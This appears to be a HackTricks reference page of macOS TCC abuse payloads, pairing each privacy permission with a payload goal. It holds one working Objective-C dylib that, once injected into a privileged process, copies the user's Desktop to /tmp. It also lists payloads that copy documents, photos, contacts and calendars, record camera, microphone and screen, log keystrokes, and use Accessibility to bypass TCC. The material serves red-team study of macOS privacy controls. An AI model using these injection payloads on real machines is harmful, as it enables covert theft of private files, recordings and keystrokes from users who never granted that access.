macOS TCC Payloads
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Desktop
Entitlement: None
TCC: kTCCServiceSystemPolicyDesktopFolder
Copy $HOME/Desktop to /tmp/desktop.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}Copy $HOME/Desktop to /tmp/desktop.
Documents
Entitlement: None
TCC:
kTCCServiceSystemPolicyDocumentsFolder
Copy $HOME/Documents to /tmp/documents.
Copy $HOME/Documents to /tmp/documents.
Downloads
Entitlement: None
TCC:
kTCCServiceSystemPolicyDownloadsFolder
Copy $HOME/Downloads to /tmp/downloads.
Copy $HOME/Dowloads to /tmp/downloads.
Photos Library
Entitlement:
com.apple.security.personal-information.photos-libraryTCC:
kTCCServicePhotos
Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.
Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.
Contacts
Entitlement:
com.apple.security.personal-information.addressbookTCC:
kTCCServiceAddressBook
Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.
Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.
Calendar
Entitlement:
com.apple.security.personal-information.calendarsTCC:
kTCCServiceCalendar
Copy $HOME/Library/Calendars to /tmp/calendars.
Copy $HOME/Library/Calendars to /tmp/calendars.
Camera
Entitlement:
com.apple.security.device.cameraTCC:
kTCCServiceCamera
Record a 3s video and save it in /tmp/recording.mov
Check if the program has access to the camera.
Take a photo with the camera
Microphone
Entitlement: com.apple.security.device.audio-input
TCC:
kTCCServiceMicrophone
Record 5s of audio an store it in /tmp/recording.m4a
Check if the app has access to the mricrophone.
Record a 5s audio and store it in /tmp/recording.wav
Location
For an app to get the location, Location Services (from Privacy & Security) must be enabled, if not it won't be able to access it.
Entitlement:
com.apple.security.personal-information.locationTCC: Granted in
/var/db/locationd/clients.plist
Write the location in /tmp/logs.txt
Get access to the location
Screen Recording
Entitlement: None
TCC:
kTCCServiceScreenCapture
Record the main screen for 5s in /tmp/screen.mov
Record the main screen for 5s
Accessibility
Entitlement: None
TCC:
kTCCServiceAccessibility
Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way
Store the pressed keys in /tmp/keystrokes.txt
Accessibility is a very powerful permission, you could abuse it in other ways, for example you could perform the keystrokes attack just from it without needed to call System Events.
Learn & practice AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Last updated